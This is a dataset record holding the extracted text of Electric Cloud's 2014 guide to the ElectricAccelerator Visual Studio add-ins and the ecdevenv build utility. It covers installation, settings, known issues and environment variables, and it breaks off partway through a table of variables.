id
stringlengths
40
40
text
stringlengths
9
86.7k
metadata
stringlengths
3k
16.2k
source
stringclasses
1 value
added
stringdate
2024-11-21 00:00:00
2024-12-12 00:00:00
created
stringdate
2024-11-21 00:00:00
2024-12-12 00:00:00
38b0e2927c3e8cf58a116e947a56686656cd8ebd
Copyright © 2002 - 2014 Electric Cloud, Inc. All rights reserved. Published 7/8/2014 Electric Cloud® believes the information in this publication is accurate as of its publication date. The information is subject to change without notice and does not represent a commitment from the vendor. THE INFORMATION IN THIS PUBLICATION IS PROVIDED “AS IS.” ELECTRIC CLOUD, INCORPORATED MAKES NO REPRESENTATIONS OR WARRANTIES OF ANY KIND WITH RESPECT TO THE INFORMATION IN THIS PUBLICATION, AND SPECIFICALLY DISCLAIMS IMPLIED WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Use, copying, and distribution of any ELECTRIC CLOUD software described in this publication requires an applicable software license. Copyright protection includes all forms and matters of copyrightable material and information now allowed by statutory or judicial law or hereinafter granted, including without limitation, material generated from software programs displayed on the screen such as icons, screen display appearance, and so on. The software and/or databases described in this document are furnished under a license agreement or nondisclosure agreement. The software and/or databases may be used or copied only in accordance with terms of the agreement. It is against the law to copy the software on any medium except as specifically allowed in the license or nondisclosure agreement. **Trademarks** Electric Cloud, ElectricAccelerator, ElectricCommander, ElectricDeploy, ElectricInsight, and Electric Make are registered trademarks or trademarks of Electric Cloud, Incorporated. Electric Cloud products—ElectricAccelerator, ElectricCommander, ElectricDeploy, ElectricInsight, and Electric Make—are commonly referred to by their “short names”—Accelerator, Commander, Deploy, Insight, and eMake—throughout various types of Electric Cloud product-specific documentation. Other product names mentioned in this guide may be trademarks or registered trademarks of their respective owners and are hereby acknowledged. ## Contents <table> <thead> <tr> <th>Chapter</th> <th>Section</th> <th>Page</th> </tr> </thead> <tbody> <tr> <td>1</td> <td>Overview</td> <td>1-1</td> </tr> <tr> <td></td> <td>Product Description</td> <td>1-1</td> </tr> <tr> <td>2</td> <td>What's New</td> <td>2-1</td> </tr> <tr> <td></td> <td>Visual Studio IDE Add-in</td> <td>2-1</td> </tr> <tr> <td></td> <td>What's New for Version 4.1.2</td> <td>2-1</td> </tr> <tr> <td></td> <td>What's New for Version 4.1</td> <td>2-1</td> </tr> <tr> <td></td> <td>Visual Studio Converter Add-in</td> <td>2-1</td> </tr> <tr> <td></td> <td>What's New for Version 4.1</td> <td>2-1</td> </tr> <tr> <td></td> <td>VS Converter Add-in Upgrade Notes</td> <td>2-1</td> </tr> <tr> <td>3</td> <td>Known Issues</td> <td>3-1</td> </tr> <tr> <td>4</td> <td>System Requirements</td> <td>4-1</td> </tr> <tr> <td></td> <td>Supported Visual Studio Versions</td> <td>4-1</td> </tr> <tr> <td></td> <td>Prerequisites</td> <td>4-1</td> </tr> <tr> <td>5</td> <td>Visual Studio IDE Add-in Installation</td> <td>5-1</td> </tr> <tr> <td></td> <td>Installing the VS IDE Add-in</td> <td>5-1</td> </tr> <tr> <td></td> <td>Silent Installation</td> <td>5-1</td> </tr> <tr> <td></td> <td>Installation Options</td> <td>5-2</td> </tr> <tr> <td>6</td> <td>VS IDE Add-in Interface</td> <td>6-1</td> </tr> <tr> <td></td> <td>Main Menu and Toolbar</td> <td>6-2</td> </tr> <tr> <td></td> <td>Build Solution Locally</td> <td>6-3</td> </tr> <tr> <td></td> <td>Output Pane</td> <td>6-3</td> </tr> <tr> <td></td> <td>Context-Sensitive Menus</td> <td>6-4</td> </tr> <tr> <td></td> <td>Solution Settings</td> <td>6-5</td> </tr> <tr> <td></td> <td>General</td> <td>6-5</td> </tr> <tr> <td></td> <td>Using Macros</td> <td>6-10</td> </tr> <tr> <td></td> <td>Options</td> <td>6-11</td> </tr> <tr> <td></td> <td>Debug</td> <td>6-12</td> </tr> <tr> <td></td> <td>Advanced</td> <td>6-14</td> </tr> <tr> <td></td> <td>Command Line</td> <td>6-15</td> </tr> <tr> <td>7</td> <td>Using the ecdevenv.exe Utility</td> <td>7-1</td> </tr> <tr> <td></td> <td>No Makefiles Required</td> <td>7-1</td> </tr> <tr> <td></td> <td>Visual Studio Toolchain Virtualization</td> <td>7-2</td> </tr> <tr> <td></td> <td>Build Multiple Solutions and Projects</td> <td>7-2</td> </tr> <tr> <td></td> <td>Add-in Options</td> <td>7-2</td> </tr> <tr> <td></td> <td>Force</td> <td>7-2</td> </tr> <tr> <td></td> <td>Generate Only</td> <td>7-2</td> </tr> </tbody> </table> Chapter 1: Overview Product Description ElectricAccelerator® Visual Studio integration is composed of two distinct add-ins and the ecdevenv.exe utility: - **Visual Studio IDE Add-in (VS IDE Add-in)** This add-in integrates with the Microsoft Visual Studio IDE and allows you to build Visual Studio solutions and projects from within the IDE using Electric Make® (eMake). The add-in provides an Electric Cloud build menu and toolbar. The existing build menu remains intact for local (non-eMake) builds. You must install this add-in separately as instructed in Visual Studio IDE Add-in Installation. - **Ecdevenv.exe Utility** Ecdevenv is a drop-in replacement for devenv.exe that will build Visual Studio solutions and projects using eMake. Ecdevenv provides a number of important features. See Using the ecdevenv.exe Utility for information. - **Visual Studio Converter Add-in (VS Converter Add-in)** This add-in is a command line add-in used by Electric Make to convert Visual Studio projects into NMAKE makefiles. This add-in is automatically installed with Accelerator. Chapter 2: What's New Visual Studio IDE Add-in What's New for Version 4.1.2 - Fixed the case of Windows executable filenames. (VSP-733) - Fixed the parsing error when the AdditionalIncludeDirectories attribute has a carriage return. (VSP-736) - Inserted the correct operating system version for the 110_xp platform toolset in Visual Studio 2012. (VSP-737) - Fixed the linker error by escaping the '$' symbol correctly. (VSP-738) - All projects appear in the IDE addin project browser. (VSP-739) - Fixed the parsing of solutions with relative project paths when you use the ecdevenv command. (VSP-740) - Provided installers with a valid digital signature. (VSP-741) - Fixed the parsing of the solution file when you use the ecdevenv command. (VSP-747) - This version of the VS IDE Add-in requires Accelerator v7.0.2 or later. What's New for Version 4.1 - Added support for Visual Studio 2013. Visual Studio Converter Add-in What's New for Version 4.1 - Added support for Visual Studio 2013. - The same file is no longer built multiple times. (VSP-718) - Fixed a bug where files with the .mm extension were unable to be compiled. (VSP-714) - Corrected the handling of Visual Studio 2010 preprocessor macros. (VSP-713) - Ecdevenv now supports environment variables in solution files. (VSP-684) VS Converter Add-in Upgrade Notes When you upgrade from VS Converter Add-in v3.0, “debug” builds using PDB files will generate many conflicts on the first build. Subsequent builds will be fine. This occurs because the build order may have changed since v3.0. Electric Cloud recommends regenerating history whenever you upgrade the add-in. Chapter 3: Known Issues - If the cluster upgrade option of the VS IDE Add-in installer fails, re-run the installer to ensure the VS Converter Add-in is installed correctly. - Due to an issue with previous versions' uninstallers, an upgrade may cause the following error message: "Cannot find script file: C:\ECloud\i686_win32\bin\unregaddin.vbs." You can safely ignore this message. - Make sure you finish all Visual Studio installations before installing the VS IDE Add-in. Adding a new language to an existing Visual Studio installation with the VS IDE Add-in already installed causes Visual Studio to display an empty Electric Cloud menu. The workaround is to reinstall the add-in. - For Visual Studio 2012 or later, the project build order under eMake may be different to Visual Studio if project dependencies are not fully defined. Workaround: If a build fails because a prerequisite project has not been built, add an explicit project dependency in the solution. - Visual Studio 2008 builds may break or may not be optimized after upgrading from an earlier version. Workaround: See knowledge base article KBEA-00065. - Microsoft Visual C++ 2010 projects that contain "custom build rules" will not be parallelized at the project item level. - Lightswitch projects are not supported. - You may encounter a build error such as "Invalid macro invocation "$". This is caused by an NMAKE limitation that treats the dollar sign ($) as a special character that precedes a macro name. It is not possible to use '$' in a preprocessor definition unless the number of '$' is even. Workaround: Either avoid having to use the single dollar sign ($), or specify it by using a double dollar sign ($$). - For Visual Studio 2010 and later, the MSBuild task batching syntax is not supported for C++ build events (i.e., pre-build, pre-link, and post-build events). Workaround: Substitute the variables with actual values. - If you are splitting PDBs (the default for /Zi or /ZI), you may experience slow initial build times after upgrading to v4.0. This occurs because filenames for PDB and IDB files have been changed to distinguish between PCH and non-PCH files. After history has been regenerated, build times will return to normal. Chapter 4: System Requirements Supported Visual Studio Versions - The Visual Studio IDE Add-in (VS IDE Add-in) supports the following versions of Visual Studio: - Visual Studio 2013 - Visual Studio 2012 - Visual Studio 2010 - Visual Studio 2008 - Visual Studio 2005 **Note:** The VS IDE Add-ins for Visual Studio 2010 or later do not currently support Xbox builds, Windows Mobile configurations, or Custom build rules. - The VS Converter Add-in supports all .NET versions of Visual Studio: - Visual Studio 2013 - Visual Studio 2012 - Visual Studio 2010 - Visual Studio 2008 - Visual Studio 2005 - Visual Studio 2003 - Visual Studio 2002 Prerequisites For the VS IDE Add-in: - Electric Make installed on the build machine - ElectricAccelerator v7.0.2 or later - .NET Framework v2.0 For the VS Converter Add-in: - Microsoft Visual C++ 2005 SP1 Redistributable Package (does not matter which version of Visual Studio you use) Chapter 5: Visual Studio IDE Add-in Installation Installing the VS IDE Add-in To install the VS IDE Add-in locally, run the installer provided. 1. Run the `VSAddIn-<version>-Install.exe` file. 2. Welcome screen—click Next. 3. Choose Destination Location screen—accept the default install location or click Browse to change the location. Click Next. 4. Setup Type screen—select the setup type: - ElectricAccelerator VS IDE Add-in Local Install - ElectricAccelerator VS Converter Add-in Local Install - ElectricAccelerator VS Converter Add-in Cluster Upgrade - Upgrades the VS Converter Add-in (Solution Support Add-in) on all Windows cluster agents that are registered to the Cluster Manager you specify. For the VS Converter Add-in cluster upgrade to proceed, the installation directory on all agents must be C:\ECloud, and you must have installed eRunner on the Cluster Manager and agent machines. - Custom (This option allows you to select multiple setup types from this list.) Click Next. 5. Start Copying Files screen—review your settings before continuing the installation. Click Next to continue or Back to make changes. 6. When the wizard displays “Install finished,” your installation is complete. Click Finish to close the installer. The installation log file is in the install directory’s root, C:\ECloud by default. Silent Installation To do a silent install, follow these steps: 1. Run an installation with the `/save-response-file <filename>` option and your desired settings. This creates the response file in the directory where you ran the installer. 2. Use the resulting response file for silent identical installs by using the `/response-file <filename>` and `/mode silent` options. Installation Options Use this structure for options: `<Install filename> [options] The following options are available to customize your installation: <table> <thead> <tr> <th>Option</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>/help</td> <td>Displays help information.</td> </tr> <tr> <td>/mode [ARG]</td> <td>Sets the installation mode. Available values: standard or silent.</td> </tr> <tr> <td>/prefix [ARG]</td> <td>Sets the installation directory.</td> </tr> <tr> <td>/response-file [ARG]</td> <td>The file from which to read installer responses.</td> </tr> <tr> <td>/save-response-file [ARG]</td> <td>The file to which installer responses are written when the installer exits.</td> </tr> <tr> <td>/temp [ARG]</td> <td>Sets the temporary directory used by the program.</td> </tr> <tr> <td>/type [ARG]</td> <td>Performs the selected type of installation. Available values: addin, uiaddin or cluster.</td> </tr> <tr> <td>/version</td> <td>Displays installer version information.</td> </tr> </tbody> </table> Chapter 6: VS IDE Add-in Interface When the VS IDE Add-in starts, it checks if the following are present: - **Electric Make** - If the add-in cannot find eMake, the add-in's Build/Rebuild/Clean functions are disabled. When eMake is run from Visual Studio, it must be run through an intermediate application named **ecspawn.exe**. This program ensures that eMake responds correctly to CTRL-C and that child processes are grouped together. This application is displayed in the Task Manager. Do not terminate the application; it stops when the build finishes or when the build is canceled. Do not run local (non-eMake) builds while running eMake builds and vice-versa. - **ElectricInsight®** - If the add-in cannot find Insight, the add-in's Run ElectricInsight function is disabled. **Topics:** - Main Menu and Toolbar - Solution Settings Main Menu and Toolbar When you run Visual Studio, you are presented with the Electric Cloud main menu (displayed in the following screenshot) and toolbar: ![Electric Cloud main menu](image) The menu has the following functions: - **Build Solution** - Builds the current solution - **Build Solution Locally** - Builds the current solution locally with eMake but **without using** remote agents or local agents (this function is equivalent to turning off the Cluster Manager and local agents). This function is hidden by default. See **Build Solution Locally** for additional information about this function. - **Rebuild Solution** - Rebuilds the current solution - **Clean Solution** - Cleans the current solution - **Build `<project>`** - Builds the current project or selection - **Rebuild `<project>`** - Rebuilds the current project or selection - **Clean `<project>`** - Cleans the project or selection - **Cancel** - Cancels a running eMake build. When a build is running, you can cancel it by selecting Cancel. Cancel is available only during a running build, rebuild, or clean. - **Run ElectricInsight** - Runs Insight with the current annotation file (if it exists). At any time, you may run ElectricInsight (Insight) to view the annotation file. Insight loads the specified annotation file or defaults to emake.xml. When you run Insight from Visual Studio, Visual Studio looks for the currently running instance of einsight. If einsight is currently running, the annotation file is not loaded (or reloaded). Manually open the annotation file from Insight, or close Insight and select Run ElectricInsight again. - **Settings** - Opens the solution settings dialog - **About** - Displays add-in information When selecting one of the build commands, the add-in calls ecdenv.exe to perform the build. The project and configuration are taken from the current context. The command is dependent on the menu item. **Note:** A new unsaved C++ solution cannot be built until the solution .ecd file has been named. Before building with eMake, first close the solution and then reopen it. The toolbar provides the same functionality as the Electric Cloud main menu and is customizable. Chapter 6: VS IDE Add-in Interface Build Solution Locally You can choose to build a solution locally with eMake but without using remote agents or local agents. You may want to use this function if a distributed incremental build is slow, or if a local Visual Studio incremental build causes unnecessary rebuilding of objects. To make this function visible in the menu, set the environment variable ECUIADDIN_LOCAL_BUILD=true. The following screenshot illustrates the menu with the Build Solution Locally function. Advisories for Build Solution Locally - The eMake local build does not support autodepend. This means changes in header files may not cause dependent source files to be recompiled. - The eMake local build does not produce an annotation. - Because history is not generated, unexpected conflicts may occur on subsequent eMake cluster builds. Output Pane Output from an eMake build is displayed in the EC Build output pane (displayed in the following screenshot). Context-Sensitive Menus The add-in provides additional context-sensitive menus. The following screenshot illustrates the Solution menu. The following screenshot illustrates the Project menu. The following screenshot illustrates the Selection menu. Chapter 6: VS IDE Add-in Interface Solution Settings The add-in contains the following Solution Setting categories: - General - Options - Debug - Advanced - Command Line Notes: - The add-in no longer supports global options. Consequently, solution settings do not inherit from global settings. If you have been using an earlier version of the add-in, the previous global settings are migrated to solution settings when you first open a solution. General This category contains most frequently used settings: - Basic - Cluster - History - Performance - Annotation Basic The following screenshot illustrates the Basic sub-category. Cluster Manager - Indicates the eMake Cluster Manager (`--emake-cm`). If this field is empty, an eMake build is performed with local agents when **Use Local Agents** is selected. When **Use Local Agents** is not selected, a local eMake build (without remote or local agents) is performed. Root - Specifies the eMake root (`--emake-root`). To add a PATH to the eMake root, enter a PATH or click the folder button to browse and click the plus button to add it to the list. To delete a PATH from the eMake root, select it in the list and click the x button. **Cluster** The following screenshot illustrates the Cluster sub-category. Chapter 6: VS IDE Add-in Interface - Build Label - Specifies the build label (--emake-build-label). - Build Class - Specifies the build class (--emake-class). - Resource - Specifies the build resource (--emake-resource). - Virtualize Toolchain - Determines whether to virtualize the Visual Studio toolchain. - Use 64-bit eMake - Determines whether to use the 64-bit version of eMake. - Use Local Agents - Determines whether to use local agents (--emake-localagents). **History** The following screenshot illustrates the History sub-category. - History File - Specifies the history file to use (--emake-historyfile). The default is eMake.data. - History - Specifies the eMake history option (--emake-history). Available values: create, merge, or read. Performance The following screenshot illustrates the Performance sub-category. - **Maximum PDB Files** - Sets the maximum number of PDB files used when splitting (sets `ECADDIN_MAX_PDB_FILES`). Default is 16. If you have fewer than 16 agents, you can decrease this value to be equal to or less than the number of agents. - **Use Order Only Prerequisites** - Determines whether to use order only prerequisites (sets `ECADDIN_USE_ORDER_ONLY_PREREQS=true` if enabled). Using order only prerequisites can improve first-time build speed. - **Always Rescan Solution** - Determines whether to always recreate temporary makefiles even if the solution has not changed. - **Enable Incremental Link** - Enables/disables incremental linking (sets `ECADDIN_ENABLE_INCREMENTAL_LINK=true` if enabled). - **Remove Dependencies** - Determines whether to remove dependencies and references (sets `ECADDIN_REMOVE_DEPENDENCIES=true` if enabled). Removing dependencies prevents Visual Studio from building dependent projects. - **Set Debug Information to C7 Compatible** - Determines whether to force compiler option `/Z7` (sets `ECADDIN_FORCE_Z7`). - **Up To Date Check** - Determines whether to check if anything requires building (set `ECADDIN_UP_TO_DATE_CHECK=true` if enabled). - **Run Local Link** - Links specified projects locally using `#pragma runlocal` (sets `ECADDIN_RUN_LOCAL_LINK`). Use the projects button to select projects. **Annotation** The following screenshot illustrates the Annotation sub-category. - Annotation Detail - Specifies the level of annotation detail (--emake-annodetail) from the following selections: - Basic - Collects information about every command run by the build. Detailed information about each "job" in the build is recorded, including command arguments, output, exit code, timing, and source location. In addition, the build structure is represented as a tree where each recursive make level is represented in the XML output. - Environment - Adds information about environment variable modifications. - File - Adds information about files read or written by each job. - History - Adds information about missing serializations discovered by eMake. This includes information about which file caused two jobs to become serialized by the eMake history mechanism. - Lookup - Adds information about files that were looked up by each job. **Note:** This mode can cause the annotation file to become quite large. - Registry - Adds information about registry operations. - Waiting - Adds information about the complete dependency graph for the build. - Annotation File - Specifies the annotation file (--emake-annofile). Required if annotation detail is set. Use folder button to select a file. - Annotation Upload - Determines whether to upload the annotation file to the Cluster Manager (--emake-annoupload). **Using Macros** If file name settings include any variables that contain invalid DOS file name characters, such as a '\' [a backslash] or ':' [a colon], this will result in an error at run-time. Options This category contains most frequently used optional settings. ElectricAccelerator - **Do Not Parse Projects** - Determines whether to prevent the VS Converter Add-in from breaking up C++ projects (sets ECADDIN_DONT_PARSE_PROJECTS=true if enabled). - **Run Deployment Locally** - Determines whether to run deployment projects locally using #pragma runlocal (sets ECADDIN_RUN_DEPLOYMENT_PROJECTS_LOCALLY=true if enabled). - **Continue On Error** - Determines whether to continue when an error occurs (adds /I to the eMake call). - **Keep Going** - Determines whether to keep going when an error occurs (adds /k to the eMake call). - **Use Devenv for All Projects** - Determines whether to run all projects using devenv, not msbuild (sets ECADDIN_USE_DEVENV=true if enabled). - **Use Devenv for Unparsed Projects** - Determines whether to use devenv for unparsed projects (sets ECADDIN_USE_MSBUILD=true). - **Use Devenv for Specified Projects** - Run specified projects using devenv, not msbuild (sets ECADDIN_USE_DEVENV_FOR_PROJECTS). - **Serialize All Projects** - Determines whether to serialize all projects using #serialize (sets ECADDIN_SERIALIZE=true if enabled). - **Do Not Parse Specific Projects** - Prevents the VS Converter Add-in from breaking up specified C++ projects (sets ECADDIN_DONTPARSE_PROJECT=true). - **Run Local Project** - Runs specified projects locally using #pragma runlocal (sets ECADDIN_RUN_LOCAL_PROJECT). - **Expand Linker Objects** - Determines whether to expand linker objects to full pathnames (sets ECADDIN_EXPAND_LINKER_OBJECTS=true if enabled). **Debug** This category contains debug options for the Add-in and eMake. Add-in - **Enable Debug Log** - Determines whether to enable debug logging (sets `ECADDIN_DEBUG=true` if enabled). - **Debug Log Name** - Specifies the name of the debug log (sets `ECADDIN_DEBUG_LOG_FILENAME`). Default is `C:\ecdebug\<unique>.log`. Use the folder button to select a log file. - **Do Not Delete Temp Makefiles** - Determines whether to delete temporary makefiles when the build completes (sets `ECADDIN_DONT_RM_TMP_MAKEFILES=true` if enabled). - **Do Not Use Unique Names** - Determines whether to use unique names for temporary files (sets `ECADDIN_DONT_USE_UNIQUE=true` if enabled). - **Enable ECBreakpoint** - Determines whether to invoke `ecbreakpoint` in failed jobs. - **Enable ECBreakpoint for Specific Projects** - Invokes `ecbreakpoint` for specified projects. Use the folder button to select projects and delimit projects with a semi-colon. **eMake** - Log Name - Specifies the name of the debug log (sets `--emake-logfile`). Use the folder button to select a log file. - Debugging Options - Select debug categories to log. **Advanced** This category contains advanced options. - Use Environment - Determines whether to add `/useenv` to the devenv call. - Max Cluster Agents - Specifies the maximum number of agents to use during the build (`--emake-maxagents`). - Registry Root - Specifies the registry root (`--emake-reg-roots`). You can specify multiple roots separated by `:` [a colon]. - Monitor - Allows the build to be monitored by ElectricInsight (`--emake-monitor`). - Max Local Agents - Sets the maximum number of local agents to use (`--emake-localagents`). - Yield Local Agents - If using more than N local agents, then eMake releases the number agents over N every T seconds so they can be used by another eMake that is looking for local agents (`--emake-yield-localagents=N,T`). Two values are required in this format: *release agents over this number, every this number of seconds.* - Auto Depend - Enables/disables allowing eMake to automatically determine dependencies. Default is enabled. - Visual Studio Setup file - Specifies the Visual Studio setup file for command line builds. Default is vsvars32.bat. - Exclude Environment - Specifies a list of environment variables to exclude from eMake (`--emake-exclude-env`), separated by `:` [a colon]. **Command Line** This category allows you to add additional options not explicitly specified elsewhere. - Additional Options - Specifies a list of add-in options in this format: `<Name=Value>`. These are the same options specified on page 9-1 - Environmental Variables - Specifies a list of environment variables in this format: `<variable>=<value>`, separated by a carriage return. Do not use “set”. - EMake Options - Specifies a list of eMake options in this format: `--emake=<option>=<value>`, separated by a carriage return. - Command Line - A non-editable field that shows the ecdevenv command that is executed by the add-in. VS Converter Add-in options are stored in the `/options` file. Chapter 7: Using the ecdevenv.exe Utility This version of the Visual Studio integration contains an extensively redesigned version of ecdevenv. The previous version of ecdevenv simply provided a mechanism to skip the generation of NMAKE makefiles. Ecdevenv is now a drop-in replacement for devenv.exe that will build Visual Studio solutions and projects using eMake. Key ecdevenv features: - Skip generation of NMAKE makefiles - No makefiles required - Visual Studio toolchain virtualization - Ability to build multiple solutions and projects in one command - Ability to specify global add-in options in an options file - Forced regeneration of makefiles if required - Ability to generate makefiles without running eMake Ecdevenv is backward compatible, so the old mode of operation is unchanged. No Makefiles Required Previously, users had to create a makefile to build using eMake: ```plaintext all: devenv.exe solution.sln /build Debug ``` Then call this makefile with eMake: ```plaintext emake.exe --emake-cm=<your cm> --emake-emulation=nmake -f makefile ``` Now you can simply call ecdevenv: ```plaintext ecdevenv.exe solution.sln /build Debug --emake-cm=<your cm> ``` Ecdevenv converts the solution into NMAKE makefiles and runs eMake on them using the eMake parameters specified. Devenv and eMake arguments can be in any order. Ecdevenv automatically uses NMAKE emulation. Ecdevenv always converts the solution locally, so any differences between the emake machine and agent machines can be ignored. Visual Studio Toolchain Virtualization Use the /virtualize option to virtualize the Visual Studio toolchain. This virtualizes the Visual Studio installation directory, SDK directory, and relevant registry entries. This negates the need to install Visual Studio on the agent machines. You must, however, install the following items: - Relevant .NET version you are using - Relevant redistributable for the version of Visual Studio you are using Build Multiple Solutions and Projects Edevenv can also build multiple solutions. Create a makefile in the following format and optionally specify the projects and project configurations. Then pass the name of the file to edevenv using /configuration=<filename>. ```xml <BUILD_SPECIFICATION> <SOLUTION> <NAME>Solution1.sln</NAME> <PLATFORM>mixed platforms</PLATFORM> <CONFIGURATION>Debug</CONFIGURATION> <PROJECT> <NAME>Project1\Project1.vbproj</NAME> <PLATFORM>Any CPU</PLATFORM> <CONFIGURATION>Debug</CONFIGURATION> </PROJECT> <PROJECT> <NAME>Project2\Project2.vcproj</NAME> <PLATFORM>Win32</PLATFORM> <CONFIGURATION>Debug</CONFIGURATION> </PROJECT> </SOLUTION> <SOLUTION> <NAME>Solution2.sln</NAME> <PLATFORM>mixed platforms</PLATFORM> <CONFIGURATION>Debug</CONFIGURATION> </SOLUTION> </BUILD_SPECIFICATION> ``` You may not specify a solution or project on the command line when using the /configuration option. Add-in Options Use /options=<file> to specify the add-in options. The file uses the same format as shown on page 9-1. Force Use /force to force the regeneration of makefiles. Generate Only Use /generate to generate the NMAKE makefiles only (that is, do not run eMake). Other Options - 64 bit systems - Use /use64bit to use the 64-bit version of eMake. - Help - Use /help to display a list of the commands to edevenv and example option and configuration files - Makefile - Specify an alternative default makefile (rather than ecdevenv.mak) using /makefile. Debugging To turn on debugging to stdout, set ECDEVENV_DEBUG=true. To redirect to a file, set ECADDIN_DEBUG_LOG=<filename>. Miscellaneous Files Generated by ecdevenv Ecdevenv creates several files in the build directory. Do not remove these files. You do not need to check in these files to your revision control system unless you want to skip regeneration of NMAKE makefiles. - *.last_build "*.last_build" files are created in the same directory the solution files. One is created for each invocation of ecdevenv. Ecdevenv uses this file to determine whether it needs to regenerate the temp makefiles. Only delete these if you want to force ecdevenv to regenerate makefiles. - metrics.sln.Release_Win32.ecmak metrics.vcxproj.Release_Win32.ecmak Temporary makefiles generated by ecdevenv. Do not delete unless you are regenerating the temp makefiles. - metrics_Release_Win32.sln This is a copy of the original solution used to remove project dependencies. This was generated by ecdevenv (note the configuration name in the filename) Do not delete unless you are regenerating the temp makefiles. - metrics.sln, metrics.vcxproj, metrics.vcxproj.filters, metrics.vcxproj.user Visual Studio files. Do not delete. - ecdevenv.mak This file is the top-level makefile created by ecdevenv. Do not delete. Chapter 8: Visual Studio Converter Add-in ElectricAccelerator can build Visual Studio solutions in two different modes: - Use ecdevenv as a drop-in replacement for your command-line build (recommended) - Create a makefile containing the devenv calls **Using ecdevenv** If you choose to use ecdevenv, replace: ``` devn.com Solution.sln /build Debug ``` with: ``` ecdevenv Solution.sln /build Debug --emake-cm=<yourcm> /virtualize ``` **ecdevenv** does the following: 1. Converts Solution.sln to NMAKE format. 2. Calls eMake on the generated files. The /virtualize flag virtualizes the Visual Studio toolchain, negating the need to install Visual Studio on the agents. You must, however, ensure the relevant version of .NET and redistributables are installed. **devn** must be in the PATH **before** executing ecdevenv. **Creating a makefile** Before you can use Accelerator to build your Visual Studio project, make sure you have already installed and run Visual Studio on each agent host for each user (all ECloudInternalUsers). **Note:** Virtualization of the toolchain is not possible when using this method. If you currently invoke Visual Studio from inside a makefile, you are ready. If you invoke Visual Studio directly from the command line or through a batch file, you must create a makefile for eMake to run. For example: ``` all: devenv /build Release foo.sln -- or -- all: devenv /build Release foo.sln /project bar.vcproj The makefile must invoke `devenv` with whatever options you currently use. Ensure the correct version of `devenv` is in your path: ``` devenv /? ``` and usual Visual Studio environment variables are set. **Setting the Path for 64-bit or Xbox Builds** To run 64-bit or Xbox builds, you must set the path manually. Chapter 9: Setting Visual Studio Environment Variables You can control the way the VS Converter Add-in works by setting these environment variables on the Electric Make machine. Alternatively, you may set the variables in a configuration file and set ECADDIN_CONFIGURATION_FILE to the full or relative pathname. For example: ``` all: set ECADDIN_CONFIGURATION_FILE=addin.cfg deenv.com Solution.sln /build Debug ``` Sample addin.cfg: ```xml <SolutionSettings> <DisableAddin>false</DisableAddin> <DoNotParseProjects>false</DoNotParseProjects> <ECBreakpoint>false</ECBreakpoint> <ECBreakpointProjects /> <RunLocalLink /> <UseDevenvForProject /> <EnableDebugLog>false</EnableDebugLog> <DebugLogName>ecdebug.log</DebugLogName> <MaxPDBFiles>16</MaxPDBFiles> <UseOrderOnlyPrereqs>true</UseOrderOnlyPrereqs> <EnableIncrementalLink>false</EnableIncrementalLink> <RemoveDependencies>true</RemoveDependencies> <ForceZ7>true</ForceZ7> <UpToDateCheck>false</UpToDateCheck> <DoNotDeleteTempMakefiles>false</DoNotDeleteTempMakefiles> <DoNotUseUniqueNames>false</DoNotUseUniqueNames> <ExpandLinkerObjects>false</ExpandLinkerObjects> <RunDeploymentLocally>false</RunDeploymentLocally> <RunLocalProject /> <SerializeAllProjects>false</SerializeAllProjects> <UseDevenv>false</UseDevenv> <UseMSBuild>true</UseMSBuild> </SolutionSettings> ``` ### Note Environment variables that take boolean values can accept: “0”, “no”, “false”, “off” and “1”, “yes”, “true”, “on”. Case is not significant. <table> <thead> <tr> <th>Environment Variable</th> <th>Variable</th> <th>Description</th> <th>Default</th> </tr> </thead> <tbody> <tr> <td>ECADDIN_BUILD_ORDER</td> <td>BuildOrder</td> <td>Specifies projects' build order. Use only if Accelerator is not building projects in the correct order.</td> <td>-</td> </tr> <tr> <td>ECADDIN_CHECK_DLLEXPORT</td> <td>CheckDLLExport</td> <td>Prevents the linker from including libraries that do not contain any exports. This may be slow.</td> <td>False</td> </tr> <tr> <td>ECADDIN_CONFIGURATION_FILE</td> <td>n/a</td> <td>Sets the filename of the configuration file. If this is set, all settings are taken from the file and the environment variables are ignored.</td> <td>-</td> </tr> <tr> <td>ECADDIN_CREATE_MISSING_DEPENDENCIES</td> <td>CreateMissingDependencies</td> <td>Creates missing dependencies to avoid missing dependency warnings.</td> <td>False</td> </tr> <tr> <td>ECADDIN_DEBUG</td> <td>EnableDebuglog</td> <td>Setting this variable to any value causes debug log files to remain in C:\ecdebug&lt;ID&gt;.log on the agent host. These files are used for troubleshooting by Electric Cloud engineers. Normally, you do not need to set this value.</td> <td>False</td> </tr> <tr> <td>ECADDIN_DEBUG_LOG_FILENAME</td> <td>DebugLogName</td> <td>Specifies the debug log name. Requires ECADDIN_DEBUG. Use '$1' in the file specification to insert a unique ID. For example, C:\ecdebug$1.log. Use a file location outside of emake root. The log file is stored on the agent.</td> <td>-</td> </tr> <tr> <td>ECADDIN_DISABLE_MINIMAL_REBUILDS</td> <td>DisableMinimalRebuilds</td> <td>Disables minimal rebuilds.</td> <td>False</td> </tr> <tr> <td>ECADDIN_DISALLOW_BSC</td> <td>DisallowBSC</td> <td>Does not generate browse information files.</td> <td>False</td> </tr> <tr> <td>Environment Variable</td> <td>Variable</td> <td>Description</td> <td>Default</td> </tr> <tr> <td>-------------------------------</td> <td>------------------</td> <td>-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td> <td>---------</td> </tr> <tr> <td>ECADDIN_DISALLOW_PCH</td> <td>DisallowPCH</td> <td>Does not generate/use precompiled header files (implied by ECADDIN_MAX_PDB_FILES)</td> <td>False</td> </tr> <tr> <td>ECADDIN_DISALLOW_PDB</td> <td>DisallowPDB</td> <td>Does not generate PDB files.</td> <td>False</td> </tr> <tr> <td>ECADDIN_DISALLOW_SBR</td> <td>DisallowSBR</td> <td>Does not generate browse information files from sources.</td> <td>False</td> </tr> <tr> <td>ECADDIN_DONT_ADD_PCH_LOCATION</td> <td>DoNotAddPCHLocation</td> <td>Prevents the add-in from adding the location of the PCH file in all cases. This variable is relevant only if ECADDIN_MAX_PDB_FILES or ECADDIN_DISALLOW_PCH is switched on.</td> <td>False</td> </tr> <tr> <td>ECADDIN_DONT_ALLOW_PCH_AND_PDB</td> <td>DoNotAllowPCHAndPDB</td> <td>Switches off PDB and PCH generation.</td> <td>False</td> </tr> <tr> <td>ECADDIN_DONT_PARSE_PROJECT</td> <td>DoNotParseSpecificProjects</td> <td>This variable takes a list of project names separated by semi-colons and without white spaces. This variable is useful for deploying the 